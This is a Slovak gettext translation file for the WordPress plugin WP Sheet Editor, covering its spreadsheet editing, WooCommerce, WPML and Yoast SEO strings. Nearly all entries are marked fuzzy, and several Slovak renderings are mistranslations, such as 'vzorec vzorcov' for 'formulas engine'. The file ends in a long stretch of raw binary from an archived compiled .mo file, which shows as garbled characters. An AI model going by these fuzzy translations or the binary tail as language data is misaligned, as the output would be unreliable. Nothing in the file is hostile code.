wp-sheet-editor/dev/views/settings-form.php:55 #, fuzzy msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the defaults." " This only affects settings of our plugin and it does not affect the data " "edited with the sheet." msgstr "" "Zobrazíme všetky stĺpce, ktoré boli vymazané alebo deaktivované, premenované " "stĺpce zobrazia pôvodné názvy, znova preskenujeme databázu, aby sme znova " "našli stĺpce, a rýchlosť/rozšírené nastavenia sa vrátia na predvolené " "hodnoty. Ovplyvní to iba nastavenia nášho pluginu a neovplyvní to údaje " "upravované pomocou listu." #: wp-sheet-editor/dev/views/single-extension.php:15 #, fuzzy msgid "Active." msgstr "Aktívne." #: wp-sheet-editor/dev/views/usage-stats-widget.php:53 #, fuzzy msgid "Thank you for using our spreadsheet editor" msgstr "Ďakujeme, že používate náš tabuľkový editor" #: wp-sheet-editor/dev/views/usage-stats-widget.php:61 #, fuzzy msgid "Usage stats" msgstr "Štatistiky používania" #: wp-sheet-editor/dev/views/usage-stats-widget.php:67 #, fuzzy msgid "Modified posts" msgstr "Upravené príspevky" #: wp-sheet-editor/dev/views/usage-stats-widget.php:71 #, fuzzy msgid "Time saved
                  (estimated)" msgstr "Úspora času
                  (odhad)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:75 #, fuzzy msgid "Clicks avoided
                  (estimated)" msgstr "Zabránené kliknutiam
                  (odhad)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 #, fuzzy msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts," "
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Upravujte produkty WooCommerce, variácie a atribúty WooCommerce.
                  " "Upravujte stovky príspevkov naraz pomocou vzorcov, kopírujte informácie " "medzi príspevkami,
                  Upravujte vlastné typy príspevkov a vlastné polia, " "upravujte profily používateľov a ďalšie" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 #, fuzzy msgid "View extensions" msgstr "Zobraziť rozšírenia" #: wp-sheet-editor/dev/views/usage-stats-widget.php:102 #, fuzzy msgid "Open the Spreadsheet Editor" msgstr "Otvorte Editor tabuliek" #: wp-sheet-editor/dev/views/whats-new.php:13 #, fuzzy msgid "What's new on WP Sheet Editor" msgstr "Čo je nové v editore hárkov WP" #: wp-sheet-editor/dev/views/whats-new.php:15 #, fuzzy msgid "Thank you for updating to the new version of the plugin." msgstr "Ďakujeme za aktualizáciu na novú verziu doplnku." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:5 #, fuzzy msgid "" "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " "christmas season. View Extension)" msgstr "" "Nové rozšírenie – WooCommerce Coupons – Zobrazenie/úprava kupónov v tabuľke. " "Rozšírené vyhľadávanie, hromadná úprava stoviek kupónov atď. Ideálne pre " "vianočné obdobie. Zobraziť rozšírenie )" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:6 #, fuzzy msgid "" "New extension - EVENTS - View/edit events, venues, and organizers in a " "spreadsheet. Advanced search, etc. View " "Extension)" msgstr "" "Nové rozšírenie – UDALOSTI – Zobrazte/upravte udalosti, miesta konania a " "organizátorov v tabuľke. Rozšírené vyhľadávanie atď. Zobraziť rozšírenie )" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:7 #, fuzzy msgid "" "New feature - Added support for Advanced Custom Fields > relationship fields." " Paid users only. Upgrade)" msgstr "" "Nová funkcia – Pridaná podpora pre rozšírené vlastné polia > polia " "vzťahov. Iba platení používatelia . " "Upgrade )" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:8 #, fuzzy msgid "" "Improved tools: formulas engine. Now you can make advanced searches and " "apply formulas to the search results. Paid users only. Upgrade)" msgstr "" "Vylepšené nástroje: vzorec vzorcov. Teraz môžete vykonávať rozšírené " "vyhľadávania a aplikovať vzorce na výsledky vyhľadávania. Iba platení " "používatelia . Upgrade )" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:9 #, fuzzy msgid "" "Improved sheet: Moved settings to a dropdown to simplify the UI and added " "new context menu options" msgstr "" "Vylepšený hárok: Nastavenia boli presunuté do rozbaľovacej ponuky na " "zjednodušenie používateľského rozhrania a pridané nové možnosti kontextovej " "ponuky" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:10 #, fuzzy msgid "" "Improved tools: columns visibility. Now you can delete unnecessary columns " "and improved sorting and disable logic" msgstr "" "Vylepšené nástroje: viditeľnosť stĺpcov. Teraz môžete odstrániť nepotrebné " "stĺpce a zlepšiť triedenie a zakázať logiku" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:11 #, fuzzy msgid "Fixed more than 13 bugs" msgstr "Opravených viac ako 13 chýb" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:12 #, fuzzy msgid "Improved 7 features" msgstr "Vylepšených 7 funkcií" #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:13 #, fuzzy msgid "Updated 6 extensions." msgstr "Aktualizovaných 6 rozšírení." #: wp-sheet-editor/dev/views/whats-new/2.6.0.php:14 #, fuzzy msgid "View the entire changelog" msgstr "Pozrite si celý zoznam zmien" #: wp-sheet-editor/dev/wp-sheet-editor.php:157 #, fuzzy msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Úprava používateľských profilov v tabuľke – základné" #: wp-sheet-editor/dev/wp-sheet-editor.php:160 #, fuzzy msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Upravujte používateľov WordPress v tabuľke, upravujte iba základné " "profily a vykonávajte základné vyhľadávania.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:168 #, fuzzy msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Úprava používateľských profilov v tabuľke – ÚPLNÁ" #: wp-sheet-editor/dev/wp-sheet-editor.php:171 #, fuzzy msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce stores," " membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Upravte používateľov WordPress v tabuľke. Upravte ÚPLNÉ používateľské " "profily vrátane vlastných polí. Pridajte nové stĺpce do tabuľky, Vhodné pre " "obchody elektronického obchodu, členské stránky, adresáre udalostí, obchodné " "adresáre, adresáre používateľov

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:178 #, fuzzy msgid "WooCommerce Customers Spreadsheet" msgstr "Tabuľka zákazníkov WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:181 #, fuzzy msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Zobrazte všetkých svojich zákazníkov v tabuľke. Zobrazenie celého " "profilu, rýchla úprava profilov, zobrazenie informácií o fakturácii a dodaní," " rozšírené vyhľadávanie zákazníkov, export zákazníkov do Excelu alebo " "tabuliek Google, import zákazníkov z externých aplikácií

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:188 #, fuzzy msgid "Media Library Spreadsheet" msgstr "Tabuľka knižnice médií" #: wp-sheet-editor/dev/wp-sheet-editor.php:191 #, fuzzy msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Zobrazte obrázok, videá a všetky súbory z knižnice WP Media v tabuľke. " "Upravte všetky polia súboru vrátane alternatívneho textu, titulkov obrázkov, " "popisov súborov, rozšíreného vyhľadávania podľa ľubovoľného poľa, " "automatického generovania alternatívneho textu, titulkov atď. pomocou " "nadradeného názvu príspevku alebo kategórií, aktualizujte tisíce súborov " "naraz atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:193 #: wp-sheet-editor/dev/wp-sheet-editor.php:207 #: wp-sheet-editor/dev/wp-sheet-editor.php:228 #: wp-sheet-editor/dev/wp-sheet-editor.php:242 #: wp-sheet-editor/dev/wp-sheet-editor.php:256 #: wp-sheet-editor/dev/wp-sheet-editor.php:270 #: wp-sheet-editor/dev/wp-sheet-editor.php:285 #: wp-sheet-editor/dev/wp-sheet-editor.php:299 #: wp-sheet-editor/dev/wp-sheet-editor.php:313 #, fuzzy msgid "Buy" msgstr "Kúpiť" #: wp-sheet-editor/dev/wp-sheet-editor.php:202 #, fuzzy msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Upravte kategórie, značky, atribúty v tabuľke" #: wp-sheet-editor/dev/wp-sheet-editor.php:205 #, fuzzy msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Jedna tabuľka pre kategórie, značky, atribúty produktov, kategórie " "udalostí, kategórie portfólia, značky skutočného stavu atď. Zobrazte a " "upravte všetky položky na jednom mieste, skopírujte, prilepte, rýchlo " "nahrajte obrázky kategórií, pridajte popisy, upravte SEO atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:223 #, fuzzy msgid "WooCommerce Coupons Spreadsheet" msgstr "Tabuľka kupónov WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:226 #, fuzzy msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Pozrite si kupóny WooCommerce v tabuľke. Upravte všetky polia kupónov, " "Rozšírené vyhľadávanie podľa ľubovoľného poľa, Automatické generovanie " "stoviek kupónov, Aktualizácia stoviek kupónov naraz a ďalšie.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:237 #, fuzzy msgid "WooCommerce Orders Spreadsheet" msgstr "Tabuľka objednávok WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:240 #, fuzzy msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Zobrazte a rýchlo odošlite všetky objednávky. Rozšírené vyhľadávanie " "podľa ľubovoľného poľa (spôsob dopravy, dane, DPH, spôsoby platby, zákazníci," " produkty atď.), Export objednávok a informácií o zákazníkoch vrátane " "zákazníkov; rýchlo upravte tisíce objednávok a ešte viac.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:251 #, fuzzy msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Tabuľka komentárov, recenzií a poznámok k objednávke" #: wp-sheet-editor/dev/wp-sheet-editor.php:254 #, fuzzy msgid "" "

                  It is the best way to manage your comments, WooCommerce customer reviews," " event reviews, testimonials, and order notes in a spreadsheet. You can make " "advanced searches by any field (keyword, order note, status, find comments " "by post type, and all the fields). You can bulk edit them, delete all at " "once, export them to excel or external systems, import comments and reviews " "from other systems, and more.

                  " msgstr "" "

                  Je to najlepší spôsob, ako spravovať svoje komentáre, recenzie " "zákazníkov WooCommerce, recenzie udalostí, referencie a poznámky k " "objednávke v tabuľke. Môžete vykonávať rozšírené vyhľadávanie podľa " "ľubovoľného poľa (kľúčové slovo, poznámka k objednávke, stav, nájsť " "komentáre podľa typu príspevku a všetky polia). Môžete ich hromadne " "upravovať, vymazávať všetky naraz, exportovať do excelu alebo externých " "systémov, importovať komentáre a recenzie z iných systémov a podobne.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:265 #, fuzzy msgid "Custom Database Tables Spreadsheet" msgstr "Tabuľka vlastných databázových tabuliek" #: wp-sheet-editor/dev/wp-sheet-editor.php:268 #, fuzzy msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Jedna tabuľka pre každú tabuľku vlastnej databázy pridaná inými " "zásuvnými modulmi. Živé úpravy v bunkách, Hromadné úpravy, Rozšírené " "vyhľadávanie podľa ľubovoľného poľa, export a import, hromadné odstraňovanie," " presúvanie informácií medzi lokalitami, úprava tisícok položiek a ďalšie." "

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:280 #, fuzzy msgid "Easy Digital Downloads Spreadsheet" msgstr "Tabuľka Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:283 #, fuzzy msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Prezerajte si všetky produkty EDD v tabuľke, hromadne vytvárajte " "sťahovanie a súbory, upravujte stovky produktov naraz pomocou vzorcov, " "rozšírené vyhľadávanie pomocou viacerých polí atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:294 #, fuzzy msgid "Events Spreadsheet" msgstr "Tabuľka udalostí" #: wp-sheet-editor/dev/wp-sheet-editor.php:297 #, fuzzy msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Prezerajte si všetky udalosti v tabuľke, vytvárajte udalosti hromadne, " "upravujte stovky udalostí naraz pomocou vzorcov, rozšírené vyhľadávanie " "pomocou viacerých polí udalostí atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:308 #, fuzzy msgid "Display the spreadsheet editor in the frontend" msgstr "Zobrazte editor tabuliek v klientskom rozhraní" #: wp-sheet-editor/dev/wp-sheet-editor.php:311 #, fuzzy msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom Dashboards," " etc.

                  " msgstr "" "

                  Vytvorte nové tabuľky s vlastnými stĺpcami a zdieľajte tabuľky so " "svojimi používateľmi alebo zamestnancami na frontende. Užitočné pre trhy, " "kde by predajcovia mali upravovať produkty v tabuľkovom procesore, povoliť " "odosielanie príspevkov alebo udalostí na frontende, adresároch udalostí, " "webových aplikáciách, vlastných informačných paneloch atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:321 #, fuzzy msgid "WooCommerce - Products Integration" msgstr "WooCommerce - Integrácia produktov" #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #, fuzzy msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Upravte produkty WooCommerce v tabuľke. Podporuje všetky druhy produktov " "vrátane variabilných produktov, produktov na stiahnutie, externých produktov " "a jednoduchých produktov. Môžete upraviť všetky polia produktov v tabuľke " "vrátane atribútov, obrázkov atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:333 #, fuzzy msgid "Custom post types" msgstr "Vlastné typy príspevkov" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 #, fuzzy msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Upravujte menu reštaurácií, kurzy, projekty, portfóliá a všetky vlastné " "typy príspevkov.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:343 #, fuzzy msgid "Columns renaming" msgstr "Premenovanie stĺpcov" #: wp-sheet-editor/dev/wp-sheet-editor.php:346 #, fuzzy msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Stĺpce tabuľky môžete premenovať.
                  Príklad. Namiesto zobrazovania " "„Autor príspevku“ v tabuľke ho môžete zmeniť na „Nahral“.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 #: wp-sheet-editor/dev/wp-sheet-editor.php:359 #: wp-sheet-editor/dev/wp-sheet-editor.php:452 #: wp-sheet-editor/dev/wp-sheet-editor.php:480 #, fuzzy msgid "Install for Free" msgstr "Inštalovať zadarmo" # php source does not exist #: wp-sheet-editor/dev/wp-sheet-editor.php:355 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:358 #, fuzzy msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "

                  Upravte názov SEO, popis, kľúčové slovo a skóre SEO v tabuľke

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:367 msgid "Advanced Search" msgstr "Pokročilé vyhľadávanie" #: wp-sheet-editor/dev/wp-sheet-editor.php:370 #, fuzzy msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, <," " >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with " "stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Nájdite príspevky podľa kľúčového slova, taxonómie, autora, dátumu, " "stavu alebo vlastných polí.

                  Hľadajte vo viacerých poliach pomocou " "pokročilých operátorov: =, !=, <, >, LIKE, NOT LIKE

                  Príklady: " "Nájdite produkty z kategórie Audio so skladom < 20 alebo produkty z " "kategórie Apple bez odporúčaného obrázka alebo produkty obsahujúce kľúčové " "slovo „Google“ bez galérie obrázkov.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:377 #, fuzzy msgid "Formulas" msgstr "Vzorce" #: wp-sheet-editor/dev/wp-sheet-editor.php:380 #, fuzzy msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Upravte stovky príspevkov naraz pomocou niekoľkých kliknutí. Hľadať a " "nahradiť, Nahradiť adresy URL a frázy, hromadne uložiť hodnoty do polí, " "kopírovať hodnoty medzi poliami, zlučovať polia atď.

                  Príklady: " "Skopírujte bežnú cenu do akciovej ceny, aktualizujte názvy atribútov " "produktov atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:387 #, fuzzy msgid "Math Formulas" msgstr "Matematické vzorce" #: wp-sheet-editor/dev/wp-sheet-editor.php:390 #, fuzzy msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Upravte stovky príspevkov naraz. Aktualizujte číselné polia pomocou " "pokročilých matematických vzorcov. Napríklad zvýšiť ceny o 10 %, spravovať " "zásoby atď. Spustite ľubovoľný matematický vzorec.

                  Vo vzorci môžete " "použiť viacero polí, napríklad „Bežná cena x Zásoby / Predajná cena

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:397 #, fuzzy msgid "Advanced Custom Fields" msgstr "Rozšírené vlastné polia" #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #, fuzzy msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically." " So you can edit custom fields easily.

                  " msgstr "" "

                  Metaboxy Rozšírené vlastné polia sa v tabuľke zobrazujú automaticky. " "Takže môžete ľahko upravovať vlastné polia.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:407 #, fuzzy msgid "Edit Custom Fields in Spreadsheet" msgstr "Upravte vlastné polia v tabuľke" #: wp-sheet-editor/dev/wp-sheet-editor.php:410 #, fuzzy msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Môžete vytvoriť stĺpce pre vlastné polia.
                  Upravte nastavenia stránky " "pridané vašou témou, podrobnosti o udalosti, informácie o produktoch atď.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:417 #, fuzzy msgid "Edit Posts and Pages in Spreadsheet" msgstr "Upravte príspevky a stránky v tabuľke" #: wp-sheet-editor/dev/wp-sheet-editor.php:420 #, fuzzy msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Upravte predvolené polia príspevkov v tabuľke.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:428 #, fuzzy msgid "WooCommerce - BASIC integration" msgstr "WooCommerce – ZÁKLADNÁ integrácia" #: wp-sheet-editor/dev/wp-sheet-editor.php:431 #, fuzzy msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Upravovať môžete len jednoduché produkty. Dostupné stĺpce: názov, webová " "adresa, popis, dátum, SKU, bežná cena, predajná cena, stav zásob, správa " "zásob, množstvo zásob.

                  Viac stĺpcov a typov produktov sú k dispozícii " "ako prémiové rozšírenie.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:439 #, fuzzy msgid "Columns visibility" msgstr "Viditeľnosť stĺpcov" #: wp-sheet-editor/dev/wp-sheet-editor.php:442 #, fuzzy msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "

                  Stĺpce v tabuľke môžete zobraziť, skryť a zoradiť.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:448 #, fuzzy msgid "Autofill cells" msgstr "Automatické dopĺňanie buniek" #: wp-sheet-editor/dev/wp-sheet-editor.php:451 #, fuzzy msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Bunky môžete automaticky vyplniť (kopírovať) potiahnutím rohu bunky do " "iných buniek, ako to môžete urobiť v programe Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:459 #, fuzzy msgid "Basic search" msgstr "Základné vyhľadávanie" #: wp-sheet-editor/dev/wp-sheet-editor.php:461 #, fuzzy msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Hľadajte v tabuľke. Nájdite príspevky podľa kľúčového slova, stavu a " "autora.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:469 #, fuzzy msgid "Columns resizing" msgstr "Zmena veľkosti stĺpcov" #: wp-sheet-editor/dev/wp-sheet-editor.php:471 #, fuzzy msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Zmeňte veľkosť stĺpcov v tabuľke a uložte ju pre budúce relácie.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:477 #, fuzzy msgid "Duplicate (Tool)" msgstr "Duplikovať (nástroj)" #: wp-sheet-editor/dev/wp-sheet-editor.php:479 #, fuzzy msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Pridajte do tabuľky „duplicitný“ nástroj. Môžete vybrať jeden riadok " "(príspevok, produkt, kupón atď.) a vytvoriť veľa kópií.

                  Príklad. " "Vytvorte 100 produktov s rovnakými štítkami, rozmermi, atribútmi a " "variáciami. A manuálne zmeňte iba niekoľko polí.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:490 #, fuzzy msgid "Everything you need for All Posts Types and Products" msgstr "Všetko, čo potrebujete pre všetky typy príspevkov a produkty" #: wp-sheet-editor/dev/wp-sheet-editor.php:497 #: wp-sheet-editor/dev/wp-sheet-editor.php:510 #, fuzzy msgid "Buy bundle" msgstr "Kúpiť balík" #: wp-sheet-editor/dev/wp-sheet-editor.php:503 #, fuzzy msgid "Everything you need for Users and Customers" msgstr "Všetko, čo potrebujete pre používateľov a zákazníkov" #: wp-sheet-editor/dev/wp-sheet-editor.php:820 #, fuzzy msgid "Quick Answers" msgstr "Rýchle odpovede" #: wp-sheet-editor/dev/wp-sheet-editor.php:821 #, fuzzy msgid "You can read our FAQ with a list of hundreds of questions" msgstr "Môžete si prečítať naše FAQ so zoznamom stoviek otázok" #: wp-sheet-editor/dev/wp-sheet-editor.php:825 #, fuzzy msgid "Guides and Tutorials" msgstr "Návody a návody" #: wp-sheet-editor/dev/wp-sheet-editor.php:826 #, fuzzy msgid "We have +200 tutorials and guides on our blog" msgstr "Na našom blogu máme +200 tutoriálov a návodov" #: wp-sheet-editor/dev/wp-sheet-editor.php:831 #, fuzzy msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Získajte okamžitú pomoc v živom chate + e-mailovú podporu počas pracovnej " "doby" #: wp-sheet-editor/dev/wp-sheet-editor.php:871 #, fuzzy msgid "WP Sheet Editor Usage" msgstr "Použitie editora hárkov WP" #: wpml/inc/post.php:126 #, fuzzy msgid "WPML - Duplicate" msgstr "WPML – duplikát" #: wpml/inc/post.php:134 #, fuzzy msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Zadajte viacero kódov jazykov oddelených čiarkami a vytvoríme kópie hlavného " "jazyka. Napríklad: en, es. Existujúce jazyky budú preskočené." #: wpml/inc/post.php:142 wpml/inc/term.php:35 #, fuzzy msgid "WPML - Translation of" msgstr "WPML - Preklad" #: wpml/inc/post.php:157 #, fuzzy msgid "WPML - Relationship" msgstr "WPML - Vzťah" #: wpml/inc/post.php:168 #, fuzzy msgid "Duplicate from the main language" msgstr "Duplikát z hlavného jazyka" #: wpml/inc/post.php:169 #, fuzzy msgid "Translate separately" msgstr "Preložiť samostatne" #: wpml/inc/post.php:180 wpml/inc/term.php:49 #, fuzzy msgid "WPML - Language" msgstr "WPML - Jazyk" #: wpml/inc/post.php:191 wpml/inc/term.php:63 #, fuzzy msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Jazyk tohto príspevku môžete zmeniť. Ak preklad pre nový jazyk existuje, " "táto zmena sa nepoužije." #: wpml/inc/post.php:199 #, fuzzy msgid "WPML - Translation priority" msgstr "WPML - Priorita prekladu" #: yoast-seo/yoast-seo.php:26 #, fuzzy msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Aktualizujte doplnok WP Sheet Editor a všetky jeho rozšírenia na najnovšiu " "verziu. Funkcie pluginu \"" #: yoast-seo/yoast-seo.php:226 #, fuzzy msgid "SEO Title" msgstr "Názov SEO" #: yoast-seo/yoast-seo.php:238 #, fuzzy msgid "SEO Description" msgstr "SEO popis" #: yoast-seo/yoast-seo.php:249 #, fuzzy msgid "SEO Keyword" msgstr "SEO kľúčové slovo" #: yoast-seo/yoast-seo.php:260 #, fuzzy msgid "SEO FB title" msgstr "SEO FB titulok" #: yoast-seo/yoast-seo.php:269 #, fuzzy msgid "SEO FB description" msgstr "SEO popis na FB" #: yoast-seo/yoast-seo.php:278 #, fuzzy msgid "SEO FB image" msgstr "SEO FB obrázok" #: yoast-seo/yoast-seo.php:289 #, fuzzy msgid "SEO TW title" msgstr "Názov SEO TW" #: yoast-seo/yoast-seo.php:298 #, fuzzy msgid "SEO TW description" msgstr "SEO TW popis" #: yoast-seo/yoast-seo.php:307 #, fuzzy msgid "SEO TW image" msgstr "SEO TW obrázok" #: yoast-seo/yoast-seo.php:318 #, fuzzy msgid "SEO Canonical URL" msgstr "SEO kanonická adresa URL" #: yoast-seo/yoast-seo.php:334 #, fuzzy msgid "SEO No Index" msgstr "SEO bez indexu" #: yoast-seo/yoast-seo.php:346 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:363 #, fuzzy msgid "SEO Primary %s" msgstr "Primárne SEO %s" modules/wp-sheet-editor/lang/vg_sheet_editor-es_VE.mo000064400000640304147600365160016702 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = 